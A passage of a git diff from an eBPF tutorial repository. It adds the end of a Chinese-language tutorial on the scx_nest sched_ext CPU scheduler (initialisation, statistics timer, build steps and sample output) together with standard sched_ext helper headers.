cpu; + struct bpf_cpumask *primary, *reserve; + const struct cpumask *idle; + stats_primary_mask = 0; + stats_reserved_mask = 0; + stats_other_mask = 0; + stats_idle_mask = 0; + long err; + + bpf_rcu_read_lock(); + primary = primary_cpumask; + reserve = reserve_cpumask; + if (!primary || !reserve) { + bpf_rcu_read_unlock(); + scx_bpf_error("查找主或保留失败"); + return 0; + } + + idle = scx_bpf_get_idle_cpumask(); + bpf_for(cpu, 0, nr_cpus) { + if (bpf_cpumask_test_cpu(cpu, cast_mask(primary))) + stats_primary_mask |= (1ULL << cpu); + else if (bpf_cpumask_test_cpu(cpu, cast_mask(reserve))) + stats_reserved_mask |= (1ULL << cpu); + else + stats_other_mask |= (1ULL << cpu); + + if (bpf_cpumask_test_cpu(cpu, idle)) + stats_idle_mask |= (1ULL << cpu); + } + bpf_rcu_read_unlock(); + scx_bpf_put_idle_cpumask(idle); + + err = bpf_timer_start(timer, sampling_cadence_ns - 5000, 0); + if (err) + scx_bpf_error("启动统计定时器失败"); + + return 0; +} +``` + +`stats_timerfn` 函数由中央定时器定期调用,用于收集和更新调度统计信息。它捕捉当前 CPU 核心的状态,将它们分类到主、保留、其他和空闲掩码中。这些信息提供了调度器如何管理 CPU 资源和任务分配的洞察。在收集统计信息后,该函数重新启动定时器以确保持续监控。 + +#### `nest_init` + +初始化 `scx_nest` 调度器: + +```c +s32 BPF_STRUCT_OPS_SLEEPABLE(nest_init) +{ + struct bpf_cpumask *cpumask; + s32 cpu; + int err; + struct bpf_timer *timer; + u32 key = 0; + + err = scx_bpf_create_dsq(FALLBACK_DSQ_ID, NUMA_NO_NODE); + if (err) { + scx_bpf_error("创建回退 DSQ 失败"); + return err; + } + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + bpf_cpumask_clear(cpumask); + cpumask = bpf_kptr_xchg(&primary_cpumask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + cpumask = bpf_cpumask_create(); + if (!cpumask) + return -ENOMEM; + + bpf_cpumask_clear(cpumask); + cpumask = bpf_kptr_xchg(&reserve_cpumask, cpumask); + if (cpumask) + bpf_cpumask_release(cpumask); + + bpf_for(cpu, 0, nr_cpus) { + s32 key = cpu; + struct pcpu_ctx *ctx = bpf_map_lookup_elem(&pcpu_ctxs, &key); + + if (!ctx) { + scx_bpf_error("查找 pcpu_ctx 失败"); + return -ENOENT; + } + ctx->scheduled_compaction = false; + if (bpf_timer_init(&ctx->timer, &pcpu_ctxs, CLOCK_BOOTTIME)) { + scx_bpf_error("初始化 pcpu 定时器失败"); + return -EINVAL; + } + err = bpf_timer_set_callback(&ctx->timer, compact_primary_core); + if (err) { + scx_bpf_error("设置 pcpu 定时器回调失败"); + return -EINVAL; + } + } + + timer = bpf_map_lookup_elem(&stats_timer, &key); + if (!timer) { + scx_bpf_error("查找中央定时器失败"); + return -ESRCH; + } + bpf_timer_init(timer, &stats_timer, CLOCK_BOOTTIME); + bpf_timer_set_callback(timer, stats_timerfn); + err = bpf_timer_start(timer, sampling_cadence_ns - 5000, 0); + if (err) + scx_bpf_error("启动统计定时器失败"); + + return err; +} +``` + +`nest_init` 函数在系统初始化期间设置 `scx_nest` 调度器。它创建了一个回退调度队列 (`FALLBACK_DSQ_ID`) 并初始化了主掩码和保留掩码。对于每个 CPU,它从 `pcpu_ctxs` 映射中检索每 CPU 上下文,初始化压缩定时器,并将回调设置为 `compact_primary_core`。此外,它初始化并启动中央统计定时器 (`stats_timer`) 及其回调函数 `stats_timerfn`,确保调度器统计信息的持续监控。 + +#### `nest_exit` + +在调度器退出时进行清理: + +```c +void BPF_STRUCT_OPS(nest_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} +``` + +`nest_exit` 函数记录退出信息并在调度器被移除或系统关闭时执行任何必要的清理操作。这确保所有资源得到适当释放,系统保持稳定。 + +#### `SCX_OPS_DEFINE` + +为 `scx_nest` 调度器定义操作结构: + +```c +SCX_OPS_DEFINE(nest_ops, + .select_cpu = (void *)nest_select_cpu, + .enqueue = (void *)nest_enqueue, + .dispatch = (void *)nest_dispatch, + .running = (void *)nest_running, + .stopping = (void *)nest_stopping, + .init_task = (void *)nest_init_task, + .enable = (void *)nest_enable, + .init = (void *)nest_init, + .exit = (void *)nest_exit, + .flags = 0, + .name = "nest"); +``` + +`SCX_OPS_DEFINE` 宏将调度器的所有函数绑定到 `nest_ops` 结构中,`sched_ext` 框架使用该结构与调度器进行接口。这确保调度器的操作在任务调度事件期间被正确映射和调用。 + +### 初始化和清理 + +适当的初始化和清理对于调度器的稳定性和性能至关重要。 + +#### `nest_init` 函数 + +`nest_init` 函数负责在系统初始化期间设置调度器。其操作如下: + +1. **创建回退调度队列:** + - 调用 `scx_bpf_create_dsq` 创建回退调度队列 (`FALLBACK_DSQ_ID`)。如果失败,记录错误并退出。 + +2. **初始化主掩码和保留掩码:** + - 创建并清除一个新的 `bpf_cpumask` 作为主掩码。 + - 将新创建的掩码与现有的 `primary_cpumask` 交换。如果存在旧掩码,则释放它。 + - 对保留掩码重复相同的过程。 + +3. **初始化每 CPU 上下文:** + - 对于每个 CPU,从 `pcpu_ctxs` 映射中检索每 CPU 上下文。 + - 将 `scheduled_compaction` 标志初始化为 `false`。 + - 使用 `bpf_timer_init` 初始化定时器,并使用 `bpf_timer_set_callback` 将回调设置为 `compact_primary_core`。 + - 如果任何步骤失败,记录错误并退出。 + +4. **初始化并启动统计定时器:** + - 从 `stats_timer` 映射中检索中央统计定时器。 + - 初始化定时器并将其回调设置为 `stats_timerfn`。 + - 以 `sampling_cadence_ns - 5000` 纳秒的延迟启动定时器。 + - 如果启动定时器失败,记录错误。 + +5. **返回:** + - 函数返回定时器初始化的结果,指示成功或失败。 + +这一初始化过程确保调度器的所有必要组件(包括 CPU 掩码、定时器和调度队列)都已正确设置。 + +#### `nest_exit` 函数 + +`nest_exit` 函数在调度器被移除或系统关闭时处理清理工作: + +```c +void BPF_STRUCT_OPS(nest_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} +``` + +此函数通过 `UEI_RECORD` 宏记录退出信息,确保执行任何必要的清理操作。这对于保持系统稳定性和防止资源泄漏至关重要。 + +### 最终调度器定义 + +`SCX_OPS_DEFINE` 宏将调度器的所有函数绑定到单一结构中,供 `sched_ext` 框架使用: + +```c +SCX_OPS_DEFINE(nest_ops, + .select_cpu = (void *)nest_select_cpu, + .enqueue = (void *)nest_enqueue, + .dispatch = (void *)nest_dispatch, + .running = (void *)nest_running, + .stopping = (void *)nest_stopping, + .init_task = (void *)nest_init_task, + .enable = (void *)nest_enable, + .init = (void *)nest_init, + .exit = (void *)nest_exit, + .flags = 0, + .name = "nest"); +``` + +此结构体 `nest_ops` 有效地将调度器的操作注册到 `sched_ext` 框架,确保调度器在各种调度事件和系统状态下做出适当响应。 + +## 编译和执行 + +要编译和运行 `scx_nest` 调度器,请按照以下步骤操作: + +**编译代码:** + +使用 `make` 构建调度器。确保已安装必要的构建工具和内核头文件。 + +```bash +make +``` + +**运行调度器:** + +执行编译后的调度器二进制文件。根据系统配置和权限,您可能需要以提升的权限运行此命令。 + +```bash +./scx_nest +``` + +### 示例输出 + +运行调度器后,您应该会看到类似以下的输出: + +``` +# ./scx_nest + +唤醒统计 +------------ +WAKEUP_ATTACHED=150 +WAKEUP_PREV_PRIMARY=61 +WAKEUP_FULLY_IDLE_PRIMARY=0 +WAKEUP_ANY_IDLE_PRIMARY=103 +WAKEUP_FULLY_IDLE_RESERVE=0 +WAKEUP_ANY_IDLE_RESERVE=216 +WAKEUP_IDLE_OTHER=11 + + +Nest 统计 +---------- +TASK_IMPATIENT=67 +PROMOTED_TO_PRIMARY=217 +PROMOTED_TO_RESERVED=8 +DEMOTED_TO_RESERVED=212 +RESERVED_AT_CAPACITY=6 +SCHEDULED_COMPACTION=525 +CANCELLED_COMPACTION=314 +EAGERLY_COMPACTED=8 +CALLBACK_COMPACTED=208 + + +消耗统计 +------------- +CONSUMED=166 +NOT_CONSUMED=667 + + + +掩码 +----- +PRIMARY ( 0): | -------------------------------------------------------------------------------------------------------------------------------- | +RESERVED (10): | ***-*--*--------------------------------------------------------***-*--*-------------------------------------------------------- | +OTHER (128): | ******************************************************************************************************************************** | +IDLE (16): | ********--------------------------------------------------------********-------------------------------------------------------- | + + +^C退出:已从用户空间注销 +``` + +此输出提供了有关任务唤醒、Nest 操作、消耗率和 CPU 掩码状态的全面统计信息。它显示了调度器如何管理任务和 CPU 核心,展示了 `scx_nest` 算法在保持高频率核心利用率和高效任务分配方面的有效性。 + +## 总结与行动呼吁 + +在本教程中,我们深入探讨了 `scx_nest` 调度器的实现,这是一个先进的 eBPF 程序,基于核心频率和利用率定制 CPU 调度以优化性能。通过利用 `sched_ext` 框架,`scx_nest` 展示了 eBPF 如何动态定义调度行为,提供超越传统调度器的灵活性和控制力。 + +主要收获包括: + +- 理解 `sched_ext` 调度器类的灵活性和强大功能。 +- 探索支撑 `scx_nest` 调度器的复杂数据结构和映射。 +- 分析管理任务分配、核心压缩和统计信息收集的核心函数。 +- 学习如何编译和执行调度器,并通过详细统计信息观察其影响。 + +`scx_nest` 调度器是一个极好的例子,展示了如何利用先进的 eBPF 编程以灵活和动态的方式实现复杂的系统功能。 + +如果您想深入了解 eBPF 并探索更多高级示例,请访问我们的教程仓库 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或查看我们的网站 [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/)。 + +## 参考文献 + +`scx_nest` 调度器的原始源代码可在 [sched-ext/scx](https://github.com/sched-ext/scx) 仓库中找到。 + +可以增强您理解的其他资源包括: + +- **Linux 内核文档:** [Scheduler Ext 文档](https://www.kernel.org/doc/html/next/scheduler/sched-ext.html) +- **内核源树:** [Linux 内核 `sched_ext` 工具](https://github.com/torvalds/linux/tree/master/tools/sched_ext) +- **eBPF 官方文档:** [https://docs.ebpf.io/](https://docs.ebpf.io/) +- **libbpf 文档:** [https://github.com/libbpf/libbpf](https://github.com/libbpf/libbpf) + +欢迎探索这些资源,扩展您的知识,继续深入学习高级 eBPF 编程的旅程。 \ No newline at end of file diff --git a/src/45-scx-nest/include/bpf-compat/gnu/stubs.h b/src/45-scx-nest/include/bpf-compat/gnu/stubs.h new file mode 100644 index 00000000..ad7d139c --- /dev/null +++ b/src/45-scx-nest/include/bpf-compat/gnu/stubs.h @@ -0,0 +1,11 @@ +/* + * Dummy gnu/stubs.h. clang can end up including /usr/include/gnu/stubs.h when + * compiling BPF files although its content doesn't play any role. The file in + * turn includes stubs-64.h or stubs-32.h depending on whether __x86_64__ is + * defined. When compiling a BPF source, __x86_64__ isn't set and thus + * stubs-32.h is selected. However, the file is not there if the system doesn't + * have 32bit glibc devel package installed leading to a build failure. + * + * The problem is worked around by making this file available in the include + * search paths before the system one when building BPF. + */ diff --git a/src/45-scx-nest/include/scx/common.bpf.h b/src/45-scx-nest/include/scx/common.bpf.h new file mode 100644 index 00000000..225f61f9 --- /dev/null +++ b/src/45-scx-nest/include/scx/common.bpf.h @@ -0,0 +1,427 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2022 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2022 Tejun Heo + * Copyright (c) 2022 David Vernet + */ +#ifndef __SCX_COMMON_BPF_H +#define __SCX_COMMON_BPF_H + +#ifdef LSP +#define __bpf__ +#include "../vmlinux/vmlinux.h" +#else +#include "vmlinux.h" +#endif + +#include +#include +#include +#include "user_exit_info.h" + +#define PF_WQ_WORKER 0x00000020 /* I'm a workqueue worker */ +#define PF_KTHREAD 0x00200000 /* I am a kernel thread */ +#define PF_EXITING 0x00000004 +#define CLOCK_MONOTONIC 1 + +/* + * Earlier versions of clang/pahole lost upper 32bits in 64bit enums which can + * lead to really confusing misbehaviors. Let's trigger a build failure. + */ +static inline void ___vmlinux_h_sanity_check___(void) +{ + _Static_assert(SCX_DSQ_FLAG_BUILTIN, + "bpftool generated vmlinux.h is missing high bits for 64bit enums, upgrade clang and pahole"); +} + +s32 scx_bpf_create_dsq(u64 dsq_id, s32 node) __ksym; +s32 scx_bpf_select_cpu_dfl(struct task_struct *p, s32 prev_cpu, u64 wake_flags, bool *is_idle) __ksym; +void scx_bpf_dispatch(struct task_struct *p, u64 dsq_id, u64 slice, u64 enq_flags) __ksym; +void scx_bpf_dispatch_vtime(struct task_struct *p, u64 dsq_id, u64 slice, u64 vtime, u64 enq_flags) __ksym; +u32 scx_bpf_dispatch_nr_slots(void) __ksym; +void scx_bpf_dispatch_cancel(void) __ksym; +bool scx_bpf_consume(u64 dsq_id) __ksym; +void scx_bpf_dispatch_from_dsq_set_slice(struct bpf_iter_scx_dsq *it__iter, u64 slice) __ksym; +void scx_bpf_dispatch_from_dsq_set_vtime(struct bpf_iter_scx_dsq *it__iter, u64 vtime) __ksym; +bool scx_bpf_dispatch_from_dsq(struct bpf_iter_scx_dsq *it__iter, struct task_struct *p, u64 dsq_id, u64 enq_flags) __ksym __weak; +bool scx_bpf_dispatch_vtime_from_dsq(struct bpf_iter_scx_dsq *it__iter, struct task_struct *p, u64 dsq_id, u64 enq_flags) __ksym __weak; +u32 scx_bpf_reenqueue_local(void) __ksym; +void scx_bpf_kick_cpu(s32 cpu, u64 flags) __ksym; +s32 scx_bpf_dsq_nr_queued(u64 dsq_id) __ksym; +void scx_bpf_destroy_dsq(u64 dsq_id) __ksym; +int bpf_iter_scx_dsq_new(struct bpf_iter_scx_dsq *it, u64 dsq_id, u64 flags) __ksym __weak; +struct task_struct *bpf_iter_scx_dsq_next(struct bpf_iter_scx_dsq *it) __ksym __weak; +void bpf_iter_scx_dsq_destroy(struct bpf_iter_scx_dsq *it) __ksym __weak; +void scx_bpf_exit_bstr(s64 exit_code, char *fmt, unsigned long long *data, u32 data__sz) __ksym __weak; +void scx_bpf_error_bstr(char *fmt, unsigned long long *data, u32 data_len) __ksym; +void scx_bpf_dump_bstr(char *fmt, unsigned long long *data, u32 data_len) __ksym __weak; +u32 scx_bpf_cpuperf_cap(s32 cpu) __ksym __weak; +u32 scx_bpf_cpuperf_cur(s32 cpu) __ksym __weak; +void scx_bpf_cpuperf_set(s32 cpu, u32 perf) __ksym __weak; +u32 scx_bpf_nr_cpu_ids(void) __ksym __weak; +const struct cpumask *scx_bpf_get_possible_cpumask(void) __ksym __weak; +const struct cpumask *scx_bpf_get_online_cpumask(void) __ksym __weak; +void scx_bpf_put_cpumask(const struct cpumask *cpumask) __ksym __weak; +const struct cpumask *scx_bpf_get_idle_cpumask(void) __ksym; +const struct cpumask *scx_bpf_get_idle_smtmask(void) __ksym; +void scx_bpf_put_idle_cpumask(const struct cpumask *cpumask) __ksym; +bool scx_bpf_test_and_clear_cpu_idle(s32 cpu) __ksym; +s32 scx_bpf_pick_idle_cpu(const cpumask_t *cpus_allowed, u64 flags) __ksym; +s32 scx_bpf_pick_any_cpu(const cpumask_t *cpus_allowed, u64 flags) __ksym; +bool scx_bpf_task_running(const struct task_struct *p) __ksym; +s32 scx_bpf_task_cpu(const struct task_struct *p) __ksym; +struct rq *scx_bpf_cpu_rq(s32 cpu) __ksym; +struct cgroup *scx_bpf_task_cgroup(struct task_struct *p) __ksym; + +/* + * Use the following as @it__iter when calling + * scx_bpf_dispatch[_vtime]_from_dsq() from within bpf_for_each() loops. + */ +#define BPF_FOR_EACH_ITER (&___it) + +static inline __attribute__((format(printf, 1, 2))) +void ___scx_bpf_bstr_format_checker(const char *fmt, ...) {} + +/* + * Helper macro for initializing the fmt and variadic argument inputs to both + * bstr exit kfuncs. Callers to this function should use ___fmt and ___param to + * refer to the initialized list of inputs to the bstr kfunc. + */ +#define scx_bpf_bstr_preamble(fmt, args...) \ + static char ___fmt[] = fmt; \ + /* \ + * Note that __param[] must have at least one \ + * element to keep the verifier happy. \ + */ \ + unsigned long long ___param[___bpf_narg(args) ?: 1] = {}; \ + \ + _Pragma("GCC diagnostic push") \ + _Pragma("GCC diagnostic ignored \"-Wint-conversion\"") \ + ___bpf_fill(___param, args); \ + _Pragma("GCC diagnostic pop") \ + +/* + * scx_bpf_exit() wraps the scx_bpf_exit_bstr() kfunc with variadic arguments + * instead of an array of u64. Using this macro will cause the scheduler to + * exit cleanly with the specified exit code being passed to user space. + */ +#define scx_bpf_exit(code, fmt, args...) \ +({ \ + scx_bpf_bstr_preamble(fmt, args) \ + scx_bpf_exit_bstr(code, ___fmt, ___param, sizeof(___param)); \ + ___scx_bpf_bstr_format_checker(fmt, ##args); \ +}) + +/* + * scx_bpf_error() wraps the scx_bpf_error_bstr() kfunc with variadic arguments + * instead of an array of u64. Invoking this macro will cause the scheduler to + * exit in an erroneous state, with diagnostic information being passed to the + * user. + */ +#define scx_bpf_error(fmt, args...) \ +({ \ + scx_bpf_bstr_preamble(fmt, args) \ + scx_bpf_error_bstr(___fmt, ___param, sizeof(___param)); \ + ___scx_bpf_bstr_format_checker(fmt, ##args); \ +}) + +/* + * scx_bpf_dump() wraps the scx_bpf_dump_bstr() kfunc with variadic arguments + * instead of an array of u64. To be used from ops.dump() and friends. + */ +#define scx_bpf_dump(fmt, args...) \ +({ \ + scx_bpf_bstr_preamble(fmt, args) \ + scx_bpf_dump_bstr(___fmt, ___param, sizeof(___param)); \ + ___scx_bpf_bstr_format_checker(fmt, ##args); \ +}) + +#define BPF_STRUCT_OPS(name, args...) \ +SEC("struct_ops/"#name) \ +BPF_PROG(name, ##args) + +#define BPF_STRUCT_OPS_SLEEPABLE(name, args...) \ +SEC("struct_ops.s/"#name) \ +BPF_PROG(name, ##args) + +/** + * RESIZABLE_ARRAY - Generates annotations for an array that may be resized + * @elfsec: the data section of the BPF program in which to place the array + * @arr: the name of the array + * + * libbpf has an API for setting map value sizes. Since data sections (i.e. + * bss, data, rodata) themselves are maps, a data section can be resized. If + * a data section has an array as its last element, the BTF info for that + * array will be adjusted so that length of the array is extended to meet the + * new length of the data section. This macro annotates an array to have an + * element count of one with the assumption that this array can be resized + * within the userspace program. It also annotates the section specifier so + * this array exists in a custom sub data section which can be resized + * independently. + * + * See RESIZE_ARRAY() for the userspace convenience macro for resizing an + * array declared with RESIZABLE_ARRAY(). + */ +#define RESIZABLE_ARRAY(elfsec, arr) arr[1] SEC("."#elfsec"."#arr) + +/** + * MEMBER_VPTR - Obtain the verified pointer to a struct or array member + * @base: struct or array to index + * @member: dereferenced member (e.g. .field, [idx0][idx1], .field[idx0] ...) + * + * The verifier often gets confused by the instruction sequence the compiler + * generates for indexing struct fields or arrays. This macro forces the + * compiler to generate a code sequence which first calculates the byte offset, + * checks it against the struct or array size and add that byte offset to + * generate the pointer to the member to help the verifier. + * + * Ideally, we want to abort if the calculated offset is out-of-bounds. However, + * BPF currently doesn't support abort, so evaluate to %NULL instead. The caller + * must check for %NULL and take appropriate action to appease the verifier. To + * avoid confusing the verifier, it's best to check for %NULL and dereference + * immediately. + * + * vptr = MEMBER_VPTR(my_array, [i][j]); + * if (!vptr) + * return error; + * *vptr = new_value; + * + * sizeof(@base) should encompass the memory area to be accessed and thus can't + * be a pointer to the area. Use `MEMBER_VPTR(*ptr, .member)` instead of + * `MEMBER_VPTR(ptr, ->member)`. + */ +#define MEMBER_VPTR(base, member) (typeof((base) member) *) \ +({ \ + u64 __base = (u64)&(base); \ + u64 __addr = (u64)&((base) member) - __base; \ + _Static_assert(sizeof(base) >= sizeof((base) member), \ + "@base is smaller than @member, is @base a pointer?"); \ + asm volatile ( \ + "if %0 <= %[max] goto +2\n" \ + "%0 = 0\n" \ + "goto +1\n" \ + "%0 += %1\n" \ + : "+r"(__addr) \ + : "r"(__base), \ + [max]"i"(sizeof(base) - sizeof((base) member))); \ + __addr; \ +}) + +/** + * ARRAY_ELEM_PTR - Obtain the verified pointer to an array element + * @arr: array to index into + * @i: array index + * @n: number of elements in array + * + * Similar to MEMBER_VPTR() but is intended for use with arrays where the + * element count needs to be explicit. + * It can be used in cases where a global array is defined with an initial + * size but is intended to be be resized before loading the BPF program. + * Without this version of the macro, MEMBER_VPTR() will use the compile time + * size of the array to compute the max, which will result in rejection by + * the verifier. + */ +#define ARRAY_ELEM_PTR(arr, i, n) (typeof(arr[i]) *) \ +({ \ + u64 __base = (u64)arr; \ + u64 __addr = (u64)&(arr[i]) - __base; \ + asm volatile ( \ + "if %0 <= %[max] goto +2\n" \ + "%0 = 0\n" \ + "goto +1\n" \ + "%0 += %1\n" \ + : "+r"(__addr) \ + : "r"(__base), \ + [max]"r"(sizeof(arr[0]) * ((n) - 1))); \ + __addr; \ +}) + + +/* + * BPF declarations and helpers + */ + +/* list and rbtree */ +#define __contains(name, node) __attribute__((btf_decl_tag("contains:" #name ":" #node))) +#define private(name) SEC(".data." #name) __hidden __attribute__((aligned(8))) + +void *bpf_obj_new_impl(__u64 local_type_id, void *meta) __ksym; +void bpf_obj_drop_impl(void *kptr, void *meta) __ksym; + +#define bpf_obj_new(type) ((type *)bpf_obj_new_impl(bpf_core_type_id_local(type), NULL)) +#define bpf_obj_drop(kptr) bpf_obj_drop_impl(kptr, NULL) + +void bpf_list_push_front(struct bpf_list_head *head, struct bpf_list_node *node) __ksym; +void bpf_list_push_back(struct bpf_list_head *head, struct bpf_list_node *node) __ksym; +struct bpf_list_node *bpf_list_pop_front(struct bpf_list_head *head) __ksym; +struct bpf_list_node *bpf_list_pop_back(struct bpf_list_head *head) __ksym; +struct bpf_rb_node *bpf_rbtree_remove(struct bpf_rb_root *root, + struct bpf_rb_node *node) __ksym; +int bpf_rbtree_add_impl(struct bpf_rb_root *root, struct bpf_rb_node *node, + bool (less)(struct bpf_rb_node *a, const struct bpf_rb_node *b), + void *meta, __u64 off) __ksym; +#define bpf_rbtree_add(head, node, less) bpf_rbtree_add_impl(head, node, less, NULL, 0) + +struct bpf_rb_node *bpf_rbtree_first(struct bpf_rb_root *root) __ksym; + +void *bpf_refcount_acquire_impl(void *kptr, void *meta) __ksym; +#define bpf_refcount_acquire(kptr) bpf_refcount_acquire_impl(kptr, NULL) + +/* task */ +struct task_struct *bpf_task_from_pid(s32 pid) __ksym; +struct task_struct *bpf_task_acquire(struct task_struct *p) __ksym; +void bpf_task_release(struct task_struct *p) __ksym; + +/* cgroup */ +struct cgroup *bpf_cgroup_ancestor(struct cgroup *cgrp, int level) __ksym; +void bpf_cgroup_release(struct cgroup *cgrp) __ksym; +struct cgroup *bpf_cgroup_from_id(u64 cgid) __ksym; + +/* css iteration */ +struct bpf_iter_css; +struct cgroup_subsys_state; +extern int bpf_iter_css_new(struct bpf_iter_css *it, + struct cgroup_subsys_state *start, + unsigned int flags) __weak __ksym; +extern struct cgroup_subsys_state * +bpf_iter_css_next(struct bpf_iter_css *it) __weak __ksym; +extern void bpf_iter_css_destroy(struct bpf_iter_css *it) __weak __ksym; + +/* cpumask */ +struct bpf_cpumask *bpf_cpumask_create(void) __ksym; +struct bpf_cpumask *bpf_cpumask_acquire(struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_release(struct bpf_cpumask *cpumask) __ksym; +u32 bpf_cpumask_first(const struct cpumask *cpumask) __ksym; +u32 bpf_cpumask_first_zero(const struct cpumask *cpumask) __ksym; +void bpf_cpumask_set_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_clear_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +bool bpf_cpumask_test_cpu(u32 cpu, const struct cpumask *cpumask) __ksym; +bool bpf_cpumask_test_and_set_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +bool bpf_cpumask_test_and_clear_cpu(u32 cpu, struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_setall(struct bpf_cpumask *cpumask) __ksym; +void bpf_cpumask_clear(struct bpf_cpumask *cpumask) __ksym; +bool bpf_cpumask_and(struct bpf_cpumask *dst, const struct cpumask *src1, + const struct cpumask *src2) __ksym; +void bpf_cpumask_or(struct bpf_cpumask *dst, const struct cpumask *src1, + const struct cpumask *src2) __ksym; +void bpf_cpumask_xor(struct bpf_cpumask *dst, const struct cpumask *src1, + const struct cpumask *src2) __ksym; +bool bpf_cpumask_equal(const struct cpumask *src1, const struct cpumask *src2) __ksym; +bool bpf_cpumask_intersects(const struct cpumask *src1, const struct cpumask *src2) __ksym; +bool bpf_cpumask_subset(const struct cpumask *src1, const struct cpumask *src2) __ksym; +bool bpf_cpumask_empty(const struct cpumask *cpumask) __ksym; +bool bpf_cpumask_full(const struct cpumask *cpumask) __ksym; +void bpf_cpumask_copy(struct bpf_cpumask *dst, const struct cpumask *src) __ksym; +u32 bpf_cpumask_any_distribute(const struct cpumask *cpumask) __ksym; +u32 bpf_cpumask_any_and_distribute(const struct cpumask *src1, + const struct cpumask *src2) __ksym; +u32 bpf_cpumask_weight(const struct cpumask *cpumask) __ksym; + +/* + * Access a cpumask in read-only mode (typically to check bits). + */ +const struct cpumask *cast_mask(struct bpf_cpumask *mask) +{ + return (const struct cpumask *)mask; +} + +/* rcu */ +void bpf_rcu_read_lock(void) __ksym; +void bpf_rcu_read_unlock(void) __ksym; + + +/* + * Other helpers + */ + +/* useful compiler attributes */ +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) +#define __maybe_unused __attribute__((__unused__)) + +/* + * READ/WRITE_ONCE() are from kernel (include/asm-generic/rwonce.h). They + * prevent compiler from caching, redoing or reordering reads or writes. + */ +typedef __u8 __attribute__((__may_alias__)) __u8_alias_t; +typedef __u16 __attribute__((__may_alias__)) __u16_alias_t; +typedef __u32 __attribute__((__may_alias__)) __u32_alias_t; +typedef __u64 __attribute__((__may_alias__)) __u64_alias_t; + +static __always_inline void __read_once_size(const volatile void *p, void *res, int size) +{ + switch (size) { + case 1: *(__u8_alias_t *) res = *(volatile __u8_alias_t *) p; break; + case 2: *(__u16_alias_t *) res = *(volatile __u16_alias_t *) p; break; + case 4: *(__u32_alias_t *) res = *(volatile __u32_alias_t *) p; break; + case 8: *(__u64_alias_t *) res = *(volatile __u64_alias_t *) p; break; + default: + barrier(); + __builtin_memcpy((void *)res, (const void *)p, size); + barrier(); + } +} + +static __always_inline void __write_once_size(volatile void *p, void *res, int size) +{ + switch (size) { + case 1: *(volatile __u8_alias_t *) p = *(__u8_alias_t *) res; break; + case 2: *(volatile __u16_alias_t *) p = *(__u16_alias_t *) res; break; + case 4: *(volatile __u32_alias_t *) p = *(__u32_alias_t *) res; break; + case 8: *(volatile __u64_alias_t *) p = *(__u64_alias_t *) res; break; + default: + barrier(); + __builtin_memcpy((void *)p, (const void *)res, size); + barrier(); + } +} + +#define READ_ONCE(x) \ +({ \ + union { typeof(x) __val; char __c[1]; } __u = \ + { .__c = { 0 } }; \ + __read_once_size(&(x), __u.__c, sizeof(x)); \ + __u.__val; \ +}) + +#define WRITE_ONCE(x, val) \ +({ \ + union { typeof(x) __val; char __c[1]; } __u = \ + { .__val = (val) }; \ + __write_once_size(&(x), __u.__c, sizeof(x)); \ + __u.__val; \ +}) + +/* + * log2_u32 - Compute the base 2 logarithm of a 32-bit exponential value. + * @v: The value for which we're computing the base 2 logarithm. + */ +static inline u32 log2_u32(u32 v) +{ + u32 r; + u32 shift; + + r = (v > 0xFFFF) << 4; v >>= r; + shift = (v > 0xFF) << 3; v >>= shift; r |= shift; + shift = (v > 0xF) << 2; v >>= shift; r |= shift; + shift = (v > 0x3) << 1; v >>= shift; r |= shift; + r |= (v >> 1); + return r; +} + +/* + * log2_u64 - Compute the base 2 logarithm of a 64-bit exponential value. + * @v: The value for which we're computing the base 2 logarithm. + */ +static inline u32 log2_u64(u64 v) +{ + u32 hi = v >> 32; + if (hi) + return log2_u32(hi) + 32 + 1; + else + return log2_u32(v) + 1; +} + +#include "compat.bpf.h" + +#endif /* __SCX_COMMON_BPF_H */ diff --git a/src/45-scx-nest/include/scx/common.h b/src/45-scx-nest/include/scx/common.h new file mode 100644 index 00000000..5b0f9015 --- /dev/null +++ b/src/45-scx-nest/include/scx/common.h @@ -0,0 +1,75 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2023 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2023 Tejun Heo + * Copyright (c) 2023 David Vernet + */ +#ifndef __SCHED_EXT_COMMON_H +#define __SCHED_EXT_COMMON_H + +#ifdef __KERNEL__ +#error "Should not be included by BPF programs" +#endif + +#include +#include +#include +#include +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#define SCX_BUG(__fmt, ...) \ + do { \ + fprintf(stderr, "[SCX_BUG] %s:%d", __FILE__, __LINE__); \ + if (errno) \ + fprintf(stderr, " (%s)\n", strerror(errno)); \ + else \ + fprintf(stderr, "\n"); \ + fprintf(stderr, __fmt __VA_OPT__(,) __VA_ARGS__); \ + fprintf(stderr, "\n"); \ + \ + exit(EXIT_FAILURE); \ + } while (0) + +#define SCX_BUG_ON(__cond, __fmt, ...) \ + do { \ + if (__cond) \ + SCX_BUG((__fmt) __VA_OPT__(,) __VA_ARGS__); \ + } while (0) + +/** + * RESIZE_ARRAY - Convenience macro for resizing a BPF array + * @__skel: the skeleton containing the array + * @elfsec: the data section of the BPF program in which the array exists + * @arr: the name of the array + * @n: the desired array element count + * + * For BPF arrays declared with RESIZABLE_ARRAY(), this macro performs two + * operations. It resizes the map which corresponds to the custom data + * section that contains the target array. As a side effect, the BTF info for + * the array is adjusted so that the array length is sized to cover the new + * data section size. The second operation is reassigning the skeleton pointer + * for that custom data section so that it points to the newly memory mapped + * region. + */ +#define 